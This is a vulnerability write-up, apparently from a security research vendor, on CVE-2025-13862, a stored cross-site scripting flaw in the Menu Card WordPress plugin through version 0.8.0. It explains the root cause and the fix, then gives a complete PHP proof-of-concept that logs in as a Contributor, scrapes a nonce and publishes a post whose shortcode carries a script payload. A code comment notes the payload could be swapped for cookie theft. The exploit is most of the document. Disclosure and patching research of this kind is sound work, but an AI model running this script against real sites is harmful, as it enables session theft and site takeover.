Atomic Edge analysis of CVE-2025-13862 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Menu Card WordPress plugin, affecting all versions up to and including 0.8.0. The issue resides in the plugin’s shortcode handler, specifically within the processing of the ‘category’ attribute. Attackers with Contributor-level access or higher can inject malicious scripts that persist in the site’s content, executing whenever a user views the compromised page.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping for the ‘category’ shortcode attribute. The CWE-79 classification confirms a failure to neutralize user input before it is placed into web page output. Without a code diff, this conclusion is based on the vulnerability description and the common WordPress pattern where shortcode attributes are processed via the `shortcode_atts()` function and later echoed without proper escaping functions like `esc_attr()` or `esc_html()`.
Exploitation requires an authenticated attacker with at least Contributor privileges. The attacker would create or edit a post or page, inserting the vulnerable shortcode with a malicious JavaScript payload in its ‘category’ attribute. A typical payload would resemble `[menu_card category=”alert(document.domain)”]`. Upon saving the post, the payload is stored in the database. The script executes in the browsers of any user who views the page containing the shortcode, including administrators.
Remediation requires implementing proper output escaping. The fix should ensure all shortcode attribute values passed to rendering functions are escaped with context-appropriate functions like `esc_attr()` for HTML attributes or `esc_html()` for text nodes before being output. Input validation or sanitization using functions like `sanitize_text_field()` on the attribute during processing would provide an additional layer of security. The patched version would apply these measures to the shortcode handler function.
The impact of successful exploitation is client-side code execution within the victim’s browser session. Attackers can steal session cookies, perform actions on behalf of the user, deface pages, or redirect users to malicious sites. For Contributor-level attackers, this vulnerability can facilitate privilege escalation by targeting administrative users, potentially leading to full site compromise.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13862 - Menu Card <= 0.8.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
/**
* Proof-of-Concept for CVE-2025-13862.
* This script simulates an authenticated Contributor user injecting a stored XSS payload
* via the 'category' attribute of the Menu Card shortcode.
* Assumptions:
* 1. The target site has the Menu Card plugin (<=0.8.0) installed.
* 2. Valid Contributor-level credentials are available.
* 3. The plugin's shortcode is registered under 'menu_card' (inferred from plugin slug).
* 4. The site uses the standard WordPress admin and posting endpoints.
*/
$target_url = 'https://example.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS
// Payload to inject. This will execute an alert in the victim's browser.
// In a real attack, this could be replaced with cookie theft or other malicious JavaScript.
$xss_payload = '<script>alert(`Atomic Edge Research - XSS via ${document.domain}`)</script>';
// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
// Check for login success by looking for a dashboard redirect or absence of login form
if (strpos($response, 'dashboard') === false && strpos($response, 'wp-admin') === false) {
die('[-] Authentication failed. Check credentials.');
}
echo '[+] Authentication successful.n';
// Step 2: Create a new post as a Contributor. Contributors can edit their own posts.
$post_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract the nonce for creating a post. Look for the '_wpnonce' field in the form.
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $nonce_matches);
if (empty($nonce_matches[1])) {
die('[-] Could not extract nonce for post creation.');
}
$nonce = $nonce_matches[1];
// Step 3: Submit the post with the malicious shortcode.
$save_post_url = $target_url . '/wp-admin/post.php';
$post_data = [
'post_title' => 'Test Post with XSS',
'content' => '[menu_card category="' . $xss_payload . '"]', // The vulnerable shortcode
'post_type' => 'post',
'post_status' => 'publish', // Contributor posts require review, but the payload is stored.
'_wpnonce' => $nonce,
'post_format' => '0',
'action' => 'editpost',
'post_ID' => '2', // May need adjustment; often a draft ID is created in step 2.
'save' => 'Publish'
];
// For Contributors, status will likely be set to 'pending' automatically.
// The payload is stored regardless of status.
curl_setopt($ch, CURLOPT_URL, $save_post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
// Check for success (redirect to post list or edit screen)
if (strpos($response, 'Post published') !== false || strpos($response, 'Post updated') !== false || strpos($response, 'post.php?action=edit') !== false) {
echo '[+] Post created/updated with malicious shortcode.n';
echo '[+] Stored XSS payload: ' . $xss_payload . 'n';
echo '[+] The script will execute when any user views the post.n';
} else {
echo '[-] Post submission may have failed. Check response.n';
}
curl_close($ch);
?>
